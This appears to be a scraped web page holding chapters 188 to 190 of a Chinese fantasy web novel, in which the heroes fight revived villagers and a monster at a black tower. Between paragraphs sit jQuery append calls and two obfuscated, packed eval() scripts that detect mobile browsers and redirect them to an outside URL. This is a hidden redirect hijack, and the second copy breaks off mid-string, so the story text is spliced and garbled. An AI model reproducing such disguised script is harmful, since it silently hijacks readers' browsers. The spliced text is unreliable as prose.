$(''#content'').append('' 认了一眼雷达，可就在这时，头顶想起了隆隆的嗡鸣。 比之前听到的声音大得多，甚至脚下的地面都在震颤。 “这么响了？！” 傅燃脑中灵光一现，猛然想到其中的关窍：“或许，有人死了就会响。” 如果是这样，那所有异种人都知道他们动手了。 但还不知道他们在哪动了手。 三人对视一眼，一切尽在不言中。傅燃眨眼就窜进了大门，塔内是意料之中的空旷，但和其他建筑不同的是，在左前方的尽头处有一扇形容古朴的门，它此刻正被打开，有人从中走了出来。 傅燃就和那人对上视线，下一秒就看见银甲覆盖了对方的身躯——和袭击站点的异种人一模一样。 “小心！” 身后紧随的两人自然也看见这一幕，心下警铃大作，可就在出声提醒的瞬间，又一道迅捷的黑影从门□□出，“砰”的一声和傅燃的匕首撞在一起，眨眼又再次分开。 好快！ 那黑影一落地就变换了位置，直至退到门边停下，他们才看清那是个身穿银甲的瘦小女孩。 傅遥忍不住咬紧牙关：“小心点，或许他们都拥有这样的能力。” 话音刚落，第一个露面的男子也向傅燃攻来。 炽热的激光从林愿指尖射出，打断了他的进攻路线，傅燃随之跟上，但男子被银甲裹得严实，可攻击的目标几乎只有那颗脑袋。 “你们也去帮忙！” 随着这句苍老的声音，那扇古朴大门□□出耀眼的白光，不过两三秒，匆忙的脚步声响起，四张颇为熟悉的面孔重新出现在他们眼前。 “什么！”林愿控制不住惊呼出声。 这几个……分明就是刚刚被杀死的人！！！ 他们复活了？！！！ “你们和那个女的是一伙的？！”木然脸色阴冷，一副被气到不行的模样。 哪个女的？ 不知道为什么，傅燃大脑里第一个闪过的人选就是简初，但以她的异能，独自闯入这里几乎就是天方夜谭，更不用说她现在应该在站点，被林豹双和黎取保护着。 那对方说的会是谁？ 现在不是考虑这些的时候，傅燃微微侧头，朝身后的人使了个眼色，示意她去解决刚刚下达命令的老人，而外面…… 年轻人的眼底闪过一丝久违的红光，那是他启用异能的信号。 傅遥知道一切已经来不及，唯一的办法就是尽快解决面前的困境。 “你们撑住，我去去就来。” 眼看着她窜进屋内，木然心头火起，连眼白都沾染上猩红的血丝：“木琅！阻止她！” 那道瘦小的身影随之而动，可这次却在半空中硬生生停下。 准确说，是被停止了。 傅燃用力收紧五指，手臂一甩，那瘦小身影便倒飞而出，狠狠砸在石壁之上，随着一道无缝衔接的明亮激光，转眼化为一抔尘土。 头顶的嗡鸣声震耳欲聋，经久不息，这是黑塔存在至今，“祷音”响起最多次的一天。 傅燃随手挽了个刀花，撩起眼皮，用那双沉静的眸子注视着屋内的所有人。 “现在，你们的对手是我。” 188. 镜中花（9） 沙土扑面而来，让简初完全睁不开眼，更别提去追寻那道绿光的踪迹了。 身体飞速下坠，“砰”的一声巨响，昏黄的烟尘四处炸开，过了好一会里面才传出其他动静。 “咳咳！呕！咳咳！” 尽管在最后一刻召唤出了小触手，但还是无法完全抵消冲击力，肺部好像被什么堵塞，让人很想呕吐，但喘口气又是吃一嘴的沙子，根本停不下咳嗽。 小触手“手忙手乱”地挥舞着，驱散周围的烟尘，它努力扒着松软的沙地，用尽全力才把手脚并用的简初从沙尘中拽了出来。 “呼——呸呸！” 简初仰面躺在地上，伸手扒拉口腔里的沙子，灿金色的触手在她上方晃来晃去，似乎确认她是否清醒。 她的记忆好像都回来了，但是……在进入那条巷子时见到的人面孔却十分模糊，简初现在还能回味当时的惊诧，应该是见过的人，可实在想不起是谁。 对了，还有莫景！ 简初一个支楞坐起身来，大脑飞速运转。如果刚刚经历的一切都是真的，那一直以来莫景奇怪的态度就可以解释了，但是回到过去……真的是可能的吗？ 赌场发生这种惨案，一定会有相关报道。简初深吸一口气，盘腿坐在地上，打算在终端上检索相关的案件，可是手臂一抬才发现她身上根本就没有终端。 简初僵了两秒，猛地翻转手腕，果然手臂内侧银色图案也不见了。 这不是她的身体。 这下简初开始发愁了。如果从“回到过去”的角度来考虑，那她之前无法使用异能可能是受到了时间线的影响，在那个节点，自己确实没有拥有异能。 那按照这个逻辑推论，自己可以通过现有的异能，来反向推测现在的时间点。 嗯，非常合理。 可这样“合理”的推测，在她发现自己现在只能使用精神力和小触手的时候，轰然倒塌。 时间点完全卡不上了。 简初是在第一次穿越时觉醒了【神之手】，但此时距离她从温弗拉的任务中存活并获得两个新异能，中间相差绝对不超过一个小时，而这一个小时内她都待在旅店的异空间里，怎么可能出现在无人区。 她跟着那道绿光来到这里，是否意味着它拥有穿梭时空的能力，那自己或许可以利用它回到原来的世界。 [系统？你在吗？] 简初屏住呼吸，但没有得到任何回应。 “叮——” 正在此刻，远处传来熟悉的钟声，简初猛然抬头，在漫天黄沙中看见一个隐约的塔尖。 …… 头顶的烈日烤干每一滴水分，入眼全是刺目的黄沙，让人很容易升起绝望，不过小触手看上去挺有活力，在外面晃荡着，时不时还来扶简初两把。 终于，建筑群在视野中逐渐升起，直至完全出现。 此地并不是天坑，而是一片巨大的绿洲，建筑们如同破土而出的石笋，从中生长出来。这里生活了不少人，他们穿着差不多的灰白色长袍，甚至还能看见被圈养的动物，完全就是世外桃源。 周围的人都不在意这个外来客，大多数人都仰着头，盯着同一个方向。 “祭司大人出来了！” 随着一声大喊，所有人的目光全部投向那座高大的黑塔。 温和的钟声响起，微微沉闷却带着抚慰人心的感觉，和简初之前听到的完全不一样。 黑塔大门打开，有人被簇拥着走出来，周围所有人随之低下头颅，双手交握于胸前，脸庞挂上奇异的微笑，慢慢向他靠拢。 那是！！！ 这距离看不清“祭司”的脸，但他背后背后不断扭曲蠕动的黑雾却映入了简初眼底。 可诡异的是，所有人都对这样的画面毫无反应，不知道他们是看不见，还是已经习以为常，可不管是哪种可能都不是什么好事。 “妈妈，帽子被吹走了。” 简初茫然回头，循声看见奔跑的木琅，女孩紧盯着空中飘飞的草帽，没有分给她一点注意，甚至就这么直直地撞了过来—— 然后穿过简初的身体，高高跃起抓住了那顶帽子。 “妈妈！我拿到了！” 女孩转过头，露出开心的笑容，在简初身后，一个长发女人正用温柔的视线注视着自己心爱的女儿，然后走过来，穿过自己的身体，伸手将女孩拥进怀中。 她们……看不见自己？ “祭司大人怎么还不说话？”木琅把帽子重新带回头顶，乖乖跟着人群往黑塔走去，“今天有点怪怪的。” 同样的面孔，同样的年纪，但她此刻说话的语气带着一丝娇憨和天真，完全是被好好爱护着的小孩。 “别急，大人可能在等我们过去呢。”女人爱怜地摸摸她的脑袋。 “养分……我需要养分……” 两道声音几乎同时响起，简初精神一振，猛然看向环绕着祭司的黑雾，这分明就是赌场里的那道声音，难道说它此刻正附身于祭司的身上？ 它想做什么？！ 人群朝黑塔涌去，他们无比珍惜每天仅有两次的，接受祭司大人赐福的机会。 “大家都过来。”有声音混在里面，听上去很是迷幻，让所有人都不自觉加快了脚步，就连简初都有些晕乎。 但这道声音，好像是木石？ “神明给予我最新的启示，今年的赐福需要大家助我一臂之力。”老者的面容带着深切的慈祥和哀婉，仿佛聆听神谕让他体会到了世间百态，从而给予世人以全部的同情，“请诸位给神明以回应，告诉祂，我们愿奉献一切以获得您的垂怜！” 这话喊出口就是纯正的洗脑味，反而让简初瞬间清醒了过来，但周围人就没有这么强的抵抗力了。 老者的声线变得有些黏黏糊糊，口齿不清到如同刚学会说话的婴孩，却又带着诡异的尖利。 下一秒，那团黑雾迫不及待浮起，迎风鼓胀起来，然后慢悠悠下落，笼罩在最前方的几人身上。 他们口中念念有词，不断重复着刚刚木石说的最后一句话，脸上的表情愈发迷醉。可他们每吐出一个字，脸皮也开始随之皱缩起来，眼看着从年轻力壮变成了垂垂暮年。 甚至倒下时脸上都挂着安然的笑容。 近处的人依旧前赴后继，但后方的人很快回过味来，他们看不见那道黑雾，却能看见倒下的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132898|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可对神明和祭司的信任让他们没有心生恐惧，只是脚步变得犹疑。 “上前来……上前来……让神看见你们……” 眼见着黑雾的体积不断壮大，简初不再犹豫，灿金色的触手们凌空拔起，眨眼间戳进了黑雾之中。 可那真的只是雾气，触手们在中间挥舞两下，黑雾凭空散开又再次聚集，在空中飘来飘去似乎在嘲笑简初的无能。 这样没用，得抓到它的本体。 木石。 触手们蓦然调转方向，猛地冲了过去，可……简初也无法触碰到木石，她此刻完全就像一个过客，只能眼睁睁看着黑雾耀武扬威，不停吞噬送到跟前的人们。 不幸中的万幸，它吞噬的速度并不算快，可要是一直这样继续下去，它迟早会吃掉所有的人，而等它获得了充足的养分，壮大了自身的力量，也许会有办法来解决自己。 简初不敢，也不能去赌这个可能性。 “妈妈，我不想过去。”不远处的女孩面色犹豫。 “……不想去就不去，我们在这看着也可以，反正妈妈拥有阿迎已经很幸福了，不需要再向神明祈求更多。”长发女人并没有因此呵斥她，反倒露出温和的微笑。 “这世上的一切都是明码标价的，你想要得到什么，一定要用同等珍贵，甚至更珍贵的东西去换取。” “当你注视神明之时，神明也会注视着你。” 说出这句话的时候，女人似乎往简初所在的方向瞥了一眼。 [我在看着你，那你呢？] 群起的触手们如臂指使，从四面八方将木石团团围住，毫不犹豫地在虚影的每一个角落游移，最终在腹腔触碰到了一个硬硬的东西。 果然，同样作为“外来客”，她和它可以触碰到彼此。 在赌场时它依靠迅速的屠杀来吸取养分，但到了这里，却只能哄骗人们送上门，然后缓慢地吸收虚无缥缈的生机。 它不着急吗？当然不是，只不过是它没有其他办法，因为它同样无法触碰到这里的人们。 但它成功躲在了木石的身体里，钻入了两个世界的夹缝，究竟是什么让这位老人变得如此特殊。 他与其他人的差别，在于神明本身吗？ 那块薄片被小触手团团裹住，却仍然不死心地挣扎着，简初“听见”触手们发出哀鸣，但它们仍然不愿松开，这一条受伤了就换下一条顶上。 灵魂深处的阵痛被简初强行忍下，想要回去的欲望压下了一切疼痛。 她要回到属于自己的世界。 天空骤然变暗，不过是几个呼吸，灰蒙蒙的暗影就沾染上每一个角落，所有人的动作全都停住，连飞舞的发丝也在空中定格。 一块巨大的不规则镜面出现在了木石的身后，简初满脑子搜寻记忆，试图找到这莫名的熟悉是从何而来。 那块巨石！ 黑塔里的那块巨石，截面就是这个形状！ 下一秒，木石不受控制地往那镜面中飞去，连同他体内的薄片以及紧紧捆在上面的小触手。 巨力拉扯着简初跌落进去，在镜面合拢的前一秒，她看见那个世界正在溃散。 化为泡影。 189. 镜中花（10） 嗡鸣声不断在头顶盘旋，一浪接着一浪，让所有人心生恐慌。 一直以来，“祷音”是“新生”的象征，可现在它却如同催命符，紧紧缠绕着每一个人。 “杀不掉……”林愿的脸色差到极点。 异能的释放开始透支她的生命，更可怕的是这群人就算被杀了，也很快会再出现。 “该撤退了！！！”她的余光瞥见塔外的人影，但那群异种人身上出现的金属甲提升了他们的行动速度，转眼之间就钻进了塔内。 该死的，人太多了。 傅遥听见外面的喊声，冷脸甩开长刀上的血。这老头看上去地位很高，但战斗力差得离谱，杀起来毫不费劲。 “大人……” 那两个时刻跟在木石身边的中年人正提防着傅遥，似乎怕她一直守在这里，杀掉从这里复活的所有人。 “你杀不完的，我们不会死的。”其中一人怒吼。 可有木羽作为前车之鉴，他们真的很害怕木石也会被彻底杀掉，因为……老人到现在都没有从石头中出来。 “大人呢？！”木然愈发焦虑，抬脚就想冲回房间内，可侧方的人影却突进到眼前，对方抬腿提膝一个猛踹，木然眨眼倒飞而出，紧接着被一柄匕首捅进眉心，化为尘土。 一套动作行云流水，前后不超过五秒钟。 “呼——呼——” 傅燃喘着粗气，身形摇晃了两下，才伸手拔出嵌在岩壁中的匕首。 刀刃已经出现豁口，但这群人一个都没死，他们迟早会被消耗完的。 此时的黑塔之外，仍然有几个异种人没有加入战局，他们面色相当焦虑，围在一起窃窃私语。 “按照您说的，现在大家死了这么多次，岂不是……很多世界都要随之消亡。” 这是多么大的罪孽啊！ 长发女人眉头微微拧起，注视着身边的几人：“各位，现在还是坚定的死亡的拥护者吗？” 在一个不死的部族，“死亡的拥护者”这几个字一听就是大逆不道，但她残存了一些异世的记忆，才得以窥见“复苏”的真意。 他们早已死去，现在聚集在这里的，不过是各个不同的世界的“自己”，他们的灵魂被灌输了相同的记忆，走过那扇门，最终来到这里，成为……“我”。 “大人，虽然我没有看到您说的那些，但是我是有感觉的。”一位女性捂住胸口，“我的记忆与本能相违背，我已经来到这里，但我不希望另一个世界的我也来这里。” “我唯一的愿望，就是在死亡之前，能想起每一段过往，给自己一个交代。” “大人，我们拥护死亡。” 他们的脸色逐渐平静，不再透露出惊慌与畏惧，塔内的打斗声与头顶的钟声也不能影响他们分毫。 “母亲。” 木琅的声音从身后传来，长发女人睁大眼，转头就看到自己亲爱的女儿正站在拐角处，没有人知道她是什么时候站在这里的。 “我想起来了一些事情。”木琅平静说道。 “什么？”女人愣了愣，一时之间没敢去想她是什么意思，“你想起了什么？” 木琅迈出步子，直到站立到他们之中。 “我想起了，我不是我。” …… 无数的碎片化作流光涌来，不断没入木石的身体。简初努力眯着眼，试图看清碎片中的画面，却发现里面的人物一直在不停变换，但唯独缺了一个人。 这是木石的记忆？ 前方的“门”越来越近，简初的心脏怦怦跳着，心中的声音告诉她越过这里就是原来的世界。 周围的碎片越来越少，简初从中看见了熟悉的木然、木琅以及那两个陪伴在木石左右的中年人，可她万万没想到，在即将触及“门”的边缘，那最后一块碎片飞入了木石的身体。 那里头，是她的脸。 如果前方的这个“木石”是另一个世界的人，那这些碎片……是谁的记忆？ 简初脑中闪过一个可怕的猜测，但它太过天方夜谭，让她不敢深想。 如果他们的“复生”只是将记忆灌输给另一个“自己”…… 如果这块石头链接着无数个平行世界…… “唔！” 眼前白光大盛，紧紧缠绕着石片的触手突然被挣开，简初的灵魂感知到巨大的痛楚，但她还是咬紧牙关，咽下嘴边的痛呼。 耳边传来打斗和喧哗，距离很近，几乎贴着她的耳边。 “大人回来了！” 嘈杂的欢呼混合着痛苦的闷哼，简初的视野也终于恢复正常，可第一眼，傅遥的面孔就这么撞进了视野里。 她怎么在这？！ “躲开！！！” 傅遥瞳孔紧缩，在屋内所有人的注视下，刚刚从石头里窜出来的老人身上开始冒出许多黑雾，它们不断聚集，凝实成一条条似人的肢体——数十条手臂从他的背脊探出，每一根手臂都有两至三个肘关节，让人几乎没有勇气看第二眼。 而他的身后，站着一个同样从石头里出来，但傅遥万万没想到的人。 周围的一切好像变成慢放，简初从傅遥惊慌的眼里看见倒映其中的畸形身影，身体先于大脑做出反应，一个飞扑向前，直接拉着傅遥冲出了屋子。 “不是，等等……”情急之下，傅遥竟然无法挣脱简初的手。 下一秒，三四只手臂准确砸在简初刚刚站立的位置，黑岩铺就的地面瞬间出现蛛网般的裂缝。 巨响让傅遥挑头一看，登时被惊出一身冷汗。 这玩意竟然不是个绣花枕头？！ “他被污染了。”简初咬牙，一眼就看到屋外正在战斗的另外两人，“别打了，先想办法逃！” 傅燃撑着最后的意识抬起头，露出快要染作暗红色的眼睛，意料之外的面孔让他心底漏了一拍，忍不住听从她的话，一把提起林愿的胳膊，冲出了黑塔。 “这是怎么了？！”木琅表情凝重，转眼就看到几道身影从塔内飞射而出，几乎到十几米开外才堪堪停下。 长发女人的眼睛锁定在简初身上：“那个女孩，就是他们之前抓到的人吗？” 木琅匆忙点点头：“我感觉不妙，我们也离远一点。” 没有人提出异议，他们学着简初几人，来到差不多的位置，保持着安全的距离。 但简初其实根本不想停，这个距离远没有达到她觉得安全的程度，在吞噬了那么多“养分”之后，那块带来污染的石片，现在只会变得更强。 傅遥现在有无数问题想要问她，比如她为什么会出现在这里，又比如她为什么会和那个老头一起从石头里蹦出来…… 可这些在她瞥见傅燃的瞬间都被抛在了脑后。 “你！你还清醒吗？知道我是谁吗？”她几乎是飞扑了过去。 傅燃单膝跪在地上，口中溢出的鲜血渗透了脸上的面罩，又沿着滴落在地。 “我……”他一开口，又有血涌了出来，猩红的双眼逐渐失去焦距，心里充斥着想要虐杀的欲望。 他的精神空间本来就不健全，过于强大的异能带来了格外严重的副作用，可就连因思禾也说不清这究竟是不是精神力紊乱综合征。 因为症状差异太大，而他又每一次都能控制住自己。 这次也不会例外。 傅燃紧咬牙关，无暇顾及身边的情况，可他遮住了下半张脸的面孔格外熟悉，让简初不受控制地响起和幽灵的初见。 所以这个人……是傅燃？ 不远处，木琅将视线从他们身上转开，看向安静到死寂的黑塔入口。 “我去看看，你们……不要离太近。”她此刻的心境格外不平静。 在刚刚的战斗中，木琅死了两次，但这两次与以往截然不同，因为她的记忆没有被完全覆盖掉。 结合母亲和那几个人的对话，她立刻意识到究竟发生了什么。 如果其他人也和她有一样的感受，那是不是可以……大家好好坐下来商量，谈谈未来到底该怎么办，而不是像现在这样，被无尽的“轮回”拉到这个地方，经历本不该经历的苦痛。 作为母亲，读懂女儿的心思，是一件很简单的事。长发女人摇摇头，伸手拦住了木琅：“先别去，再看看。” “可是……” 木琅话音刚落，就听见轰隆一声，不远处的巨塔整个晃动起来。 从她有记忆开始，这座塔连石头皮都没掉过，哪怕风吹日晒，也一直保持着最初的模样。可现在，黑色碎石从塔顶崩落，塔身中段出现一道巨大的裂缝，就像有什么东西想要顶破它，从中挣脱而出。 “到我身后来。” 木琅愣愣地被女人抓住胳膊，强硬地拖到身后去。 “母亲……”在她现有的全部记忆里，从来没有见到温柔的母亲露出这样凛然的表情。 在众人的注视下，黑塔的塔尖从云端坠落，“砰”的一声砸落在地，激起无数碎石和灰尘。 傅遥找了一个相对安全的建筑，将傅燃安置在了这里。 他肯定不能继续战斗了。 “你能不能帮我照顾他。”傅遥看向简初，“或许用你的精神力……” “现在吗？”简初眉头蹙起。 现在可不是个好时候，如果被那怪物打断，傅燃的情况只会更严重，而她自己或许也会受到损伤。 “抱歉，是我太着急了。”傅遥深吸了口气，“那就先麻烦你帮我照看他，林愿，你现在还能继续战斗吗？” 林愿脸色苍白，还是使劲点了点头：“我……” “她留下，我跟你去。”简初蹲在傅燃旁边，确认了他现在处于昏迷，暂时不会变得更糟糕。 傅遥狠狠皱了眉头：“你不行，你……” “这里没法正常使用异能，强行透支的话，你会得到两个昏迷的人。”简初内心是前所未有的平静，她清楚一切的根源正躲藏在木石的身体内，而她必须要毁掉它。 不管是为了系统的任务，还是为了……活下去。 银色的流光闪过，傅遥瞳孔骤然紧缩，看着出现在简初身上的金属甲，陷入漫长的失语。 “说来话长，不过现在不是纠结这个的时候。”简初定定看着她，露出一个令人安心的微笑，“走吧，傅队长。” “等等！” 两人刚刚达成一致，一旁的林愿却突然开口。 “我……我枪法很好，可以帮你们在远处做掩护。” 傅遥看着她真挚的面孔，沉思片刻，从腰间解下了一把激光枪：“你最主要的任务，是确保自己，和灰烬的安全。” “不到万不得已别开枪。”简初敛眉，“如果吸引了怪物的注意力就糟了。” “你说的也是。”傅遥在自己身上摸索了片刻，眉头微微蹙起，眼神四处打量了一圈，才落在一旁昏迷的傅燃身上。 她清清嗓子，走上去把他怀里的匕首抽了出来，随手抛给了简初。 “你用这个，别浪费了。” …… 白色屏障之外，一行人又重新驻扎下来。 他们发现这道屏障并没有太大威胁，准确说，它并不会主动造成威胁，可一旦受到攻击，则会直接将攻击弱化，然后像一个韧性极强的弹簧，将攻击反弹出去，所以很难直接用武器进行突破。 至于异能……这东西会完全把异能吸收掉，更没法处理。 “因博士，刚刚监测到强波动，大概维持了五秒钟左右，您要不要来看一下？” 闻言，因思禾的眉头不觉蹙起，转身掀开了帐篷的门帘。所有的仪器都被摆放在一起，方便直接进行数据比对分析，而此时，程源、林颀，甚至米勒尔都围绕在显示屏前，脸上挂着差不多的凝重表情。 没办法，实在是看不懂。 这种白色屏障并不少见，空间系异能时常会有这样的表现，但它的物理特征却是截然不同，没有类似的参照，任他们绞尽脑汁也跳不出思维的局限。 见因思禾进来，他们投来期待的眼神，但很可惜，她也没见过这样的数据。 既不是自然生成的空间罅隙，也不是空间系异能，不过想想应该也没人能创造这么广阔且稳定的异空间。 “安排几个人带着加密数据包返程，一有信号就立刻传输给启明星，并让他们第一时间发回总部。”因思禾当机立断。 这里的总部自然是指联邦研究所。 他们需要更多的帮助。 …… 此时，黑塔前方大概可以粗浅分为三方，一是简初和傅遥，和她们相距不远的是五个异种人，其中木琅算是熟面孔，而那个长发女人……就是简初在另一个世界看见的，木琅的母亲。 至于第三方，就是那团烟尘里藏着的东西了。 木琅几人只是警惕着她们，并没有主动攻击，这是一个善意的信号。几人的目光更多是集中在那团开始散去的烟尘，里头隐隐约约显露出一个巨大的轮廓。 “什么玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些旧人类的“复活”，和它有着千丝万缕的联系，那它此刻呼喊的“复活”，又意味着什么呢？ 如果这些被吞并的人还能从石头中“复活”，那杀了他们，是否就可以削弱这只怪物的力量？ “这些人死了的话，是不是会从那块石头里出来？”傅遥低声问，显然她也想到了这一层。 但简初现在没法打包票：“之前是这样的，可就怕现在不一样了。” “先试试，就算不行，那块石头也得毁了，防止这个怪物会借着复活。”傅遥思虑很周全，可没等她们再多商量几句，怪物就将眼神投向视野中的每一个人。 它只有一双眼睛，但它身上有那么多人，他们各自看向不同的方向，没人能够逃脱如同附骨之疽的注视。 简初深吸了口气，被猎食者锁定的心慌不受控制蔓延上来，小触手攀附在简初肩头拱着身子，就像一条警戒中的蛇。 “吼！！！” 怪物的手臂撑着地面，像只变异的大蜘蛛一样跑过来，但它速度快的惊人，和臃肿的身躯截然不同，眨眼就冲出了四五米。 “躲开！” 傅遥猛地推开简初，两人一左一右，朝不同的方向滚了两圈躲开它的冲撞，但这怪物似乎盯上了简初，几条手臂以诡异的角度一拧，立刻调转方向灵活地扑了上来。 耶？就这么恨吗？ 小触手越过伸来的苍白手掌，一把圈住了脆弱的手肘，“嘎嘣”一声脆响，那条手臂被硬生生朝反方向折去。 简初抓住机会，匕首带着寒光，丝滑隔开另一条伸来的手臂——它看起来枯瘦，但硬度却出人意料，刀刃劈上去如同磕到一块坚硬的岩石。 不过这柄匕首也不普通，简初手腕一转，直接沿着皮肉切进去，绕着肘关节勾了一圈，眨眼就卸下了一条小臂。 黝黑的血液从伤口倾泻而出，散发出窒息的臭气，多亏简初有了金属甲的加持，才堪堪躲开，没被淋一身。 怪物吃痛地大叫，空中的手臂乱舞着，但它脑子转得很快，见这边不容易突破，便立刻换了方向，转向木琅一行人。 还挺能屈能伸的。 地面被怪物踩得隆隆作响，不知道是不是简初的错觉，她感觉头顶的白色屏障似乎压低了一些。 “成为我的……养分……” 那怪物口中呢喃着，猛地冲上前去，那几人也各自跳开躲避，可他们的战斗经验明显不足，只是躲开了当下的这一招，却没能防备那怪物深处的手臂。 每条手臂上都有着两到三个肘关节，这让它们动起来更加灵活且难以预料，眼见一招落空，怪物立刻伸出其他胳膊，枯瘦的五指紧紧抓住一人的脚踝，将其倒吊起来。 “不！”他发出哀鸣，但下一秒，一道明亮的激光从远处飞掠而来，一声闷响就击穿小臂骨，黑色的血液滴落下来，竟然将那人身上的金属甲侵蚀出点点黑斑。 这些血滴在地面，甚至溅在人身上都没有事，却唯独会损伤那奇异的金属。 远处的林愿正举着激光枪，她的想法确实相当精准，这么远的距离都能射中一直在动的手臂。但这一枪的意义远不止于此。 “要不要合作！”傅遥趁机朝那几人高喊，“这怪物已经不是你们的同伴了！” 那几人面面相觑，看上去颇为意动，但却都将目光投向了那名长发女人，这画面让简初眯了眯眼。 原来除了木石，这群人之中还有其他领头人？ “木琅，你去取武器。”长发女人眉眼冷沉。 “等等！林愿，你跟她一起去！”傅遥踩着旁边的建筑飞起身，躲开那怪物的袭击，“我们的人枪法很准。” 简初知道，控制着这怪物的东西聪明得很，肯定能明白他们的计划，眼见着它的动作越来越狠辣，必须要想办法削弱它的力量。 “先杀它左胸口的人。”简初沿着身后建筑的黑色墙壁攀沿而上，来到几乎和怪物躯体持平的位置，才反身一蹬，扑了过去。 臃肿的躯体之上，附着在左胸的人眼神紧紧锁定在她身上，眼中的恐惧与冰冷掺杂在一起，仿佛有两个灵魂正在争夺身体的控制权。 另一边，傅遥也迅速捕捉到机会，长刀一甩，自下而上沿着手臂窜了上去。 “嗤！” 几乎是同时，长刀和短匕一左一右，丝滑地钻进了那人的心口和眉间。 190. 镜中花（11） 简初咬紧牙关，两只手都紧紧握着刀柄，匕首卡着头骨咯吱作响，而另一侧的傅遥则是直接抽出长刀，带出一条鲜红的血线，又再次捅了进去。 这次锋锐的刀刃割开了两道捆缚住那人的粗壮血管，深深刺进了他的腹腔，血管中漆黑的液体和鲜红的血液混在一起，竟然完全无法相融。 那人缓缓阖上眼，砰然化作尘土，飘飘扬扬洒落下来。 “还能杀！”傅遥松了口气，那接下来的问题就是，他还会不会复活？ 不远处的几个人面露不忍，纷纷转开眼，不愿看见这一幕。 明明知道不这样的话一切都没法结束，但这画面对他们来说还是太残忍了。 木石变成了怪物，现在已经看不出人形，但那臃肿躯体上束缚住的人们还有着平日里的面孔，甚至看过来的眼神还带着一丝丝祈求与痛苦。 他们被怪物控制着，成为它的“手”和“眼”，但大脑还清醒着，能感受到身体被控制、吞噬。 “嗡——” 塔尖已经坠落在地，但此时还是敬业地响起了“祷音”，简初旋身一蹬，借着怪物富有弹性的躯体，在空中翻了个跟斗，稳稳落在地面上，傅遥也控制着距离，落在了她身边。 她们的视线提防着怪物，但更多是看向黑塔的大门。 那个人还会复活吗？ 如果他复活了，那会是以什么样的姿态走出这扇门？ 两秒后，所有人都听见一道匆忙至极的脚步声，隐约从门内传来，但不止是他们，那只怪物也听到了。 “吼！” 它怒吼一声，猛然往黑塔的方向冲去。 “拦住它！！！”傅遥大喊，提着长刀紧紧追了上去，那边的几个灰袍人也不再旁观，纷纷冲上前，攻击着就近的手臂，试图阻止怪物的脚步。 但这距离对它来说并不算什么，奇长的手臂在地上快速拨动，眨眼就冲到了大门的正前方，甚至牺牲了两条手臂为代价也毫不在意。 瞬息之间，一个人影从门内冲了出来，他看上去还是正常的人类，但手舞足蹈着，一副完全陷入疯癫的模样，口中不停发出尖利的嚎叫。 “这是地狱！让我回去！让我回去！” 他的喊声让众人悚然一惊，除了完全被蒙在鼓里的傅遥，其他人都明白了这句话的意思。 “不！！！” 怪物高高举起手臂，直接将傅遥挥开，而它肩胛上的两个手臂则紧紧捏住了那个男人，硬生生把他摁回了那具肥硕的躯体之上。 男人的双腿甚至还保持着奔跑的动作，但密集的红色血管已经爬了上来，将他整个人紧紧裹住，不出三秒，男人的声音就小了下去，变成之前那副半死不活的模样。 所有人陷入了沉默。 “怎么这样……” 说话的声音中带着明显的哭腔，一个年轻人垂头午捂脸，清亮的泪水顺着指缝往下流。他们身上笼罩着沉重的哀伤，却只能远远看着那只怪物志得意满地伸出胳膊，在黑塔前方来回踱步。 “他已经想起来了……”长发女人低声道。 男人悲切的呼喊几乎是明示着他已经记起了些什么，但他的死亡却将另一个世界的自己带到这无边地狱，成为怪物的一部分，奄奄一息等待着下一次死亡。 然后等待着更多的自己坠落到这里。 “神啊，救救我们……” 长发女人沉默地看着绝望的同胞们，大家心里都清楚，再怎么绝望，现在也不能就此放弃。 哪怕只是为了自己，为了其他世界中无数个自由的“我”，他们也不能在这里低头。 太可笑了，明明是最想死去的几个人，现在却不得不用尽全力活下来。 “别再祈求神明了。”她低声开口，“这里没有神。” 只有他们自己。 “我有个问题。”简初突然开口，“为什么怪物没有对你们动手？” 那几人愣了愣，连眼泪都停下了，看上去没人想到这个问题，可它一旦被提出来，就明显是异常的。 这里没有人比简初更清楚，怪物对它口中的“养分”有多么执着，从赌场，到绿洲，再到这里，它一直念叨着这两个字，可现在明明有机会，却没有尝试将他们吞并。 怪物此前被切去的手臂又开始缓慢生长，小小的肉芽在断口处蠕动，与此同时，它身上的那些人脸色又灰败了几分。 那怪物就像是听懂了她的话一样，焦躁地在地上挪动了两步，旋即灵活地调转方向，一跃而起扑向一旁高大的建筑，数十只手紧紧抓住建筑的最顶端，像一只巨大的蜘蛛俯视着下面的人。 从这个角度看去，那道白色的巨幕几乎已经压在它的头顶。 “它应该是吞不了你们，甚至是不能吞，快想想究竟是为什……” 还没等简初说完，那怪物就仰天长吼一声，猛地从上面跳了下来！ “躲开！” 傅遥一把扣住简初的胳膊，全身的肌肉瞬间被调动起来，想要带着她们躲开，但那怪物的肢体张得很开，手臂又极为灵活，巨大的阴影投射在地面上，几乎没有逃脱的可能。 小触手们瞬间绷直，健壮的腕足飞出，紧紧缠住不远处的建筑，直接将人带飞了出去。 傅遥感觉自己的脚还没来得及着力，整个人就已经飞了出去，眨眼间就到了安全的地方。 “奇怪……”她喃喃自语，但是没发现哪里有问题。 小触手们挤挤挨挨地蠕动，一副想要邀功的样子，但知道其他人都看不见它们，只能又恹恹缩了回去，在简初的指尖蹭了两下才勉强高兴起来。 她们俩躲开了，但那几个人就没这么幸运了。 怪物好像吃了什么大补的东西一样，原本枯瘦的手臂如同吸过精气一样膨起来，甚至还能看见肌肉的线条，手指也长出尖尖的指甲，一爪下去就撕开两人的腹腔，又将他们狠狠摁在了地上。 